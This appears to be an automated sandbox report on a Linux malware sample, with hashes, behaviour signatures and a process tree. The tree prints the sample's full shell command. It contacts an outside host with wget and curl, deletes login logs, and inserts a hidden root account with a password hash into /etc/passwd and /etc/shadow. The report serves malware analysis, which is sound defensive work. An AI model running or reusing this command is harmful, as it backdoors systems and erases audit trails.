Overview

overview

9

Static

static

123e6d1138...aad096

ubuntu-18.04-amd64

9

Analysis

  • max time kernel
    0s
  • max time network
    5s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20221111-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20221111-enkernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31-12-2022 15:50

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General

  • Target

    123e6d1138bfd58de1173818d82b504ef928d5a3be7756dd627c594de4aad096

  • Size

    22KB

  • MD5

    5eeaf0c650a23f51012fdf4d6ce9e8cb

  • SHA1

    e7513033257428aa0f2018b5920a68e1cd492a8d

  • SHA256

    123e6d1138bfd58de1173818d82b504ef928d5a3be7756dd627c594de4aad096

  • SHA512

    e6a8dbb741995533d91e58df8a34a936e1140d95a5cdbee83d58072d2aa5dd98405823c8182aebd6dfec82fbcef520f68265804239a7eeccd46979f9e30f0f91

  • SSDEEP

    384:awi1TzSNCnw5q8I1oJKhA0vk6D0qTAK32:aT1qNCnwfI1ok26Ddsu2

Score
9/10

Malware Config

Signatures

  • Deletes system logs 1 TTPs 3 IoCs
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/123e6d1138bfd58de1173818d82b504ef928d5a3be7756dd627c594de4aad096
    /tmp/123e6d1138bfd58de1173818d82b504ef928d5a3be7756dd627c594de4aad096
    1⤵
      PID:587
      • /bin/sh
        sh -c "wget -q --no-check-certificate --delete-after https://yip.su/1K6867 > /dev/null 2>&1 ; curl https://yip.su/1K6867 > /dev/null 2>&1 ; rm -rf /var/log/lastlog /var/log/wtmp /var/log/btmp > /dev/null 2>&1 ; grep http-daemon /etc/passwd > /dev/null 2>&1 || sed -i '2i\\http-daemon:x:0:500::/:/bin/bash' /etc/passwd > /dev/null 2>&1 ; grep http-daemon /etc/shadow > /dev/null 2>&1 || sed -i '2i\\http-daemon:\$6\$TQKbncg/\$NUCjcDUK1a0fj75PVgGQfDQLwoNud8q3AdQ8mvqs3y4AxpI/.Qepjex02/YdwG1fkjDukSqsxqUIXMvp9ju0R/:18326:0:99999:7:::' /etc/shadow > /dev/null 2>&1"
        2⤵
          PID:588
          • /usr/bin/wget
            wget -q --no-check-certificate --delete-after https://yip.su/1K6867
            3⤵
            • Modifies hosts file
            • Writes DNS configuration
            PID:589
          • /bin/rm
            rm -rf /var/log/lastlog /var/log/wtmp /var/log/btmp
            3⤵
            • Deletes system logs
            PID:594
          • /bin/grep
            grep http-daemon /etc/passwd
            3⤵
              PID:595
            • /bin/sed
              sed -i "2i\\http-daemon:x:0:500::/:/bin/bash" /etc/passwd
              3⤵
              • Reads runtime system information
              PID:596
            • /bin/grep
              grep http-daemon /etc/shadow
              3⤵
                PID:597
              • /bin/sed
                sed -i "2i\\http-daemon:\$6\$TQKbncg/\$NUCjcDUK1a0fj75PVgGQfDQLwoNud8q3AdQ8mvqs3y4AxpI/.Qepjex02/YdwG1fkjDukSqsxqUIXMvp9ju0R/:18326:0:99999:7:::" /etc/shadow
                3⤵
                • Reads runtime system information
                PID:598

          Network

          MITRE ATT&CK Enterprise v6

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